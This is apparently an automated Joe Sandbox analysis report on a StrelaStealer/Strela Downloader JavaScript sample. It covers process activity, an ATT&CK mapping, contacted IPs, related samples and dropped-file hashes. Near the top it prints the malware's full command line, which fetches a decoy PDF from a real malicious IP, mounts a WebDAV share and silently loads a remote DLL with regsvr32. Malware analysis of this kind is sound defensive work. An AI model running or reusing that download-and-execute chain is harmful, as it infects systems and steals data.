Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20576287220625.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20576287220625.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
1223923852588014617.js	8%	Virustotal		Browse
1223923852588014617.js	8%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/sm	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod.C:	edb.log.8.dr	false		high
http://crl.ver)	svchost.exe, 00000008.00000002.3000884004.000001FF2A800000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.7.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	edb.log.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2	edb.log.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96	svchost.exe, 00000008.00000003.1766114342.000001FF2A762000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000006.00000002.1766817881.0000029BE75B8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1767008615.0000029BE760D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1766873674.0000029BE75EA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1764849668.0000029BE75EA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1764561153.0000029BE760B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/sm	net.exe, 00000006.00000002.1766817881.0000029BE75B8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	svchost.exe, 00000008.00000003.1766114342.000001FF2A762000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588759
Start date and time:	2025-01-11 05:08:19 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 56s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	1223923852588014617.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/58@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 2.16.168.107, 2.16.168.105, 34.237.241.83, 50.16.47.176, 18.213.11.84, 54.224.241.105, 172.64.41.3, 162.159.61.3, 2.23.242.162, 23.209.209.135, 23.200.0.21, 23.200.0.33, 20.12.23.50, 23.41.168.139, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, e16604.g.akamaiedge.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
23:09:16	API Interceptor	21x Sleep call for process: powershell.exe modified
23:09:19	API Interceptor	1x Sleep call for process: net.exe modified
23:09:19	API Interceptor	2x Sleep call for process: svchost.exe modified
23:09:32	API Interceptor	1x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	7003183412181430311.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	12728322661441225103.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2926013193173129097.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	91931239167124381.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	467631239147784826.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	22964327542023110895.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	301425897285010519.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2949911514285745182.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2708993316838119.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	18620271451234622924.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	7003183412181430311.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	12728322661441225103.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2926013193173129097.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1012716259541818656.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	91931239167124381.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	23858205001607627322.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	467631239147784826.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	22964327542023110895.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	301425897285010519.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2949911514285745182.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.3073490134283314
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvr5:KooCEYhgYEL0In
MD5:	EDB9B86590209784A1A0851C0A7822EA
SHA1:	73C2B5769226A3CECD56818F39B39E6E8E9361BB
SHA-256:	0BA0C81F8A6EE2337241FC4FF4446CA430BB73448CDC723BB02231C41BC1C1AC
SHA-512:	CE0D0E4EEAECEF02FF0AEF8BAA513FCF046765E09085950CC958418B9D24D567D5BDDE530CD5153E4762E6610193DF0DFC35D4F77EB04BA7A6D9F630FBC22105
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xce79ccc4, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.4221300175895977
Encrypted:	false
SSDEEP:	1536:xSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:xaza/vMUM2Uvz7DO
MD5:	FD7E135E07C5B1F27CCC8E6C8D2B1E0C
SHA1:	B6A452B56B27F2F6126EA904DF423EB48815B6D0
SHA-256:	B9322A17002DF5B07968E8D7D62F05364050380C7C1D07C4ECF65780DEFD36C2
SHA-512:	D99E7367E25E167C277655A01E8841594BBD812EE1A2BB962D3827CE7B11E407E1B0ABB43A68D0BF939A5A8A4779F5D6723EAF47B29842FD2F25789BAB49EFE1
Malicious:	false
Preview:	.y..... .......A.......X\...;...{......................0.!..........{A......}K.h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{...................................C7......}....................lX.....}K..........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07697037330595699
Encrypted:	false
SSDEEP:	3:I/KYeGNjlvjn13a/9dN4lYllcVO/lnlZMxZNQl:I/Kzclv53qLOewk
MD5:	692532548F9B7792F4C68174524E0F2D
SHA1:	FB3FD53E422A70EB5841605CFFA46F9849C82660
SHA-256:	533701FA440926017A9227ED03974025F1ACD3F2D5F3B8CC30C4CF809C822A7D
SHA-512:	A0AC2EC9658676A819B2209269459A4F9B59A29B7BCA3D1EEB150C9A05E4ADBB2B877E93AD59EA2850C429B73E8C0E64EB44704C7E6F0E45D100951BD4CC7332
Malicious:	false
Preview:	...Z.....................................;...{.......}K......{A..............{A......{A..........{A]..................lX.....}K.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.209792512701974
Encrypted:	false
SSDEEP:	6:iO4qHrGQ+q2Pwkn2nKuAl9OmbnIFUtSqHHgZmwsqHHQVkwOwkn2nKuAl9OmbjLJ:70VvYfHAahFUtrg/VI5JfHAaSJ
MD5:	CA3F07E4ABC32C058AEF88CD3388EAF8
SHA1:	9557B759D5112CE9654A327C4EC70C38DCB2AB09
SHA-256:	6EA56DA8D576C237094B3FBC39734DEB29D81052D3A0677F8F6DA33F261B066D
SHA-512:	679B22CF2535A425FE58849DD257E605F7EF342D5004904DDE7FC07C84CF5BFAE4A941DBC901B74A69499A5B3DEC7E16F930EFA4FCABFAD24A7B8D13FB897EB8
Malicious:	false
Preview:	2025/01/10-23:09:19.851 1b98 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-23:09:19.854 1b98 Recovering log #3.2025/01/10-23:09:19.854 1b98 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.209792512701974
Encrypted:	false
SSDEEP:	6:iO4qHrGQ+q2Pwkn2nKuAl9OmbnIFUtSqHHgZmwsqHHQVkwOwkn2nKuAl9OmbjLJ:70VvYfHAahFUtrg/VI5JfHAaSJ
MD5:	CA3F07E4ABC32C058AEF88CD3388EAF8
SHA1:	9557B759D5112CE9654A327C4EC70C38DCB2AB09
SHA-256:	6EA56DA8D576C237094B3FBC39734DEB29D81052D3A0677F8F6DA33F261B066D
SHA-512:	679B22CF2535A425FE58849DD257E605F7EF342D5004904DDE7FC07C84CF5BFAE4A941DBC901B74A69499A5B3DEC7E16F930EFA4FCABFAD24A7B8D13FB897EB8
Malicious:	false
Preview:	2025/01/10-23:09:19.851 1b98 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-23:09:19.854 1b98 Recovering log #3.2025/01/10-23:09:19.854 1b98 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.191979249235139
Encrypted:	false
SSDEEP:	6:iO4qHDs9+q2Pwkn2nKuAl9Ombzo2jMGIFUtSqHNJSJZmwsqH9E9VkwOwkn2nKuAv:7y9+vYfHAa8uFUtBJSJ/vE9V5JfHAa8z
MD5:	398291D112C6C5360630267172DD9F47
SHA1:	7946ED290E6177CB7D6900A683A55F22CB8BAB44
SHA-256:	E1142BBBA3FB0AD708AF1AAF7AD2F55335973DBF6453D288D573B009D95F865B
SHA-512:	3851386B5F4CE2362D33BC507A4C2850CCB2E305F0F0473E66B403B089BA84F5E18F32A12BC159198DD37E68131D02341181BD483997D8E431D2691D6271C128
Malicious:	false
Preview:	2025/01/10-23:09:19.877 1c4c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-23:09:19.879 1c4c Recovering log #3.2025/01/10-23:09:19.880 1c4c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.191979249235139
Encrypted:	false
SSDEEP:	6:iO4qHDs9+q2Pwkn2nKuAl9Ombzo2jMGIFUtSqHNJSJZmwsqH9E9VkwOwkn2nKuAv:7y9+vYfHAa8uFUtBJSJ/vE9V5JfHAa8z
MD5:	398291D112C6C5360630267172DD9F47
SHA1:	7946ED290E6177CB7D6900A683A55F22CB8BAB44
SHA-256:	E1142BBBA3FB0AD708AF1AAF7AD2F55335973DBF6453D288D573B009D95F865B
SHA-512:	3851386B5F4CE2362D33BC507A4C2850CCB2E305F0F0473E66B403B089BA84F5E18F32A12BC159198DD37E68131D02341181BD483997D8E431D2691D6271C128
Malicious:	false
Preview:	2025/01/10-23:09:19.877 1c4c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-23:09:19.879 1c4c Recovering log #3.2025/01/10-23:09:19.880 1c4c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\1dc40c8a-8407-468e-991a-9fca1e491e07.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.969516568575897
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqQLXpksBdOg2Hx2caq3QYiubInP7E4T3y:Y2sRdsBbdMHD3QYhbG7nby
MD5:	04BEDBF5CD518A743F1A3831A3619E1A
SHA1:	92DA5BDA8F7AD716909FD66E736623279DD2B38C
SHA-256:	BFDAA8F2CA0D958C4E00C2D0A68470BD01E0D7223D379CFC83F9F63A00580362
SHA-512:	6565F1E9F5D25D37072A393CB7980DF0E7F4E0D18B69C467127E6B361B5D8FBCB11882036C1594324BAC2EB08AC5B46D43C202445A78BC9B3795722F6C9CA70A
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381128572623140","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":135906},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969516568575897
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqQLXpksBdOg2Hx2caq3QYiubInP7E4T3y:Y2sRdsBbdMHD3QYhbG7nby
MD5:	04BEDBF5CD518A743F1A3831A3619E1A
SHA1:	92DA5BDA8F7AD716909FD66E736623279DD2B38C
SHA-256:	BFDAA8F2CA0D958C4E00C2D0A68470BD01E0D7223D379CFC83F9F63A00580362
SHA-512:	6565F1E9F5D25D37072A393CB7980DF0E7F4E0D18B69C467127E6B361B5D8FBCB11882036C1594324BAC2EB08AC5B46D43C202445A78BC9B3795722F6C9CA70A
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381128572623140","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":135906},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4320
Entropy (8bit):	5.255290652048459
Encrypted:	false
SSDEEP:	96:etJCV4FAsszrNamjTN/2rjYMta02fDtehgO7BtTgo7PcseR:etJCV4FiN/jTN/2r8Mta02fEhgO73goo
MD5:	94BED7714F2F5E066FD4D06BA4FD1859
SHA1:	DD23C8E269B1E4EE4FEE3609D8DEE787E8C96515
SHA-256:	463B15D3458A77E533F22B0A6FE707DE9D93640A188DFFB9121CBB9A60160947
SHA-512:	C3E3BD83B35E6BA512EE16CE7457FA382D4A22A3777629C21EABC72D2160A69866718A844BA54FB1E3C43E9AAAEC3A588DC4AB5FCAB0ECCBE5A69F1446D22991
Malicious:	false
Preview:	*...#................version.1..namespace-['O.o................next-map-id.1.Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/.0>...r................next-map-id.2.Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/.1O..r................next-map-id.3.Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/.2.\.o................next-map-id.4.Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/.3....^...............Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/..\|.^...............Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/n..Fa...............Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/DQ..a...............Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/i.`do................next-map-id.5.Pnamespace-de635bf2_6773_4d83_ad16_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.1961051491369545
Encrypted:	false
SSDEEP:	6:iO4qHo25E9+q2Pwkn2nKuAl9OmbzNMxIFUtSqHoRJSJZmwsqHoRJS9VkwOwkn2nv:789+vYfHAa8jFUtSSJ/4S9V5JfHAa84J
MD5:	6B73555145BCA129115B0F70E6ABC998
SHA1:	22F24EEE771EC4D635AA8BF456C6F9FFD87BF3AF
SHA-256:	78FE9DC5CCCDD11175171077E8E4E6C8E7725A9354C65B7929BC3A12E705A745
SHA-512:	2669919BA450E70FAB6B6EF403B7B987BA8624979E51A3D33E74BFA4C892EE5D8641A64F136274FC7FD7FFCDBA30654FB5CEEDE4DB15C0DD3ED7EF9AC268F436
Malicious:	false
Preview:	2025/01/10-23:09:19.985 1c4c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-23:09:19.986 1c4c Recovering log #3.2025/01/10-23:09:19.986 1c4c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.1961051491369545
Encrypted:	false
SSDEEP:	6:iO4qHo25E9+q2Pwkn2nKuAl9OmbzNMxIFUtSqHoRJSJZmwsqHoRJS9VkwOwkn2nv:789+vYfHAa8jFUtSSJ/4S9V5JfHAa84J
MD5:	6B73555145BCA129115B0F70E6ABC998
SHA1:	22F24EEE771EC4D635AA8BF456C6F9FFD87BF3AF
SHA-256:	78FE9DC5CCCDD11175171077E8E4E6C8E7725A9354C65B7929BC3A12E705A745
SHA-512:	2669919BA450E70FAB6B6EF403B7B987BA8624979E51A3D33E74BFA4C892EE5D8641A64F136274FC7FD7FFCDBA30654FB5CEEDE4DB15C0DD3ED7EF9AC268F436
Malicious:	false
Preview:	2025/01/10-23:09:19.985 1c4c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-23:09:19.986 1c4c Recovering log #3.2025/01/10-23:09:19.986 1c4c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 16, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 16
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.4448130990614505
Encrypted:	false
SSDEEP:	384:Ce8ci5tkiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:0Ts3OazzU89UTTgUL
MD5:	CF1884D5BDE56F2FCDF6BC4D67A65FD1
SHA1:	2E5E64476E782595D23B94963BCDF85AFEC049CD
SHA-256:	27927738605C57B800F8C4F4DE40D362D3B8C82F18988BC9197B34B7F8AE494E
SHA-512:	7DD8DD1D5F666945026399CC84B341DC371930371824E031958D14BB1B58C349B2524379E580882E87509746E4A48193391825B7B16FA1004322C5A273DD5303
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.2137362509344976
Encrypted:	false
SSDEEP:	24:7+tnmnuwKQqL7zkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf9Ml:7MmnCQq/mFTIF3XmHjBoGGR+jMz+Lh0
MD5:	0183BBC9DC191A177F655E6BBBDB667E
SHA1:	DFA6F7033FC34F6619BC8600321A81FB45CD07B5
SHA-256:	471CCE6174B7D1A7C303C17284F9876A74B9D86175E13E153042522157F64967
SHA-512:	95188A544E35D1730B008885ACB3AB817886789612D7381DEFBE2A4FB8FFD89DAB3023CA0CA3CDFE88F86EB431B525BF5FD5CD4C43A5A23214A7367C1FF8F61C
Malicious:	false
Preview:	.... .c.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

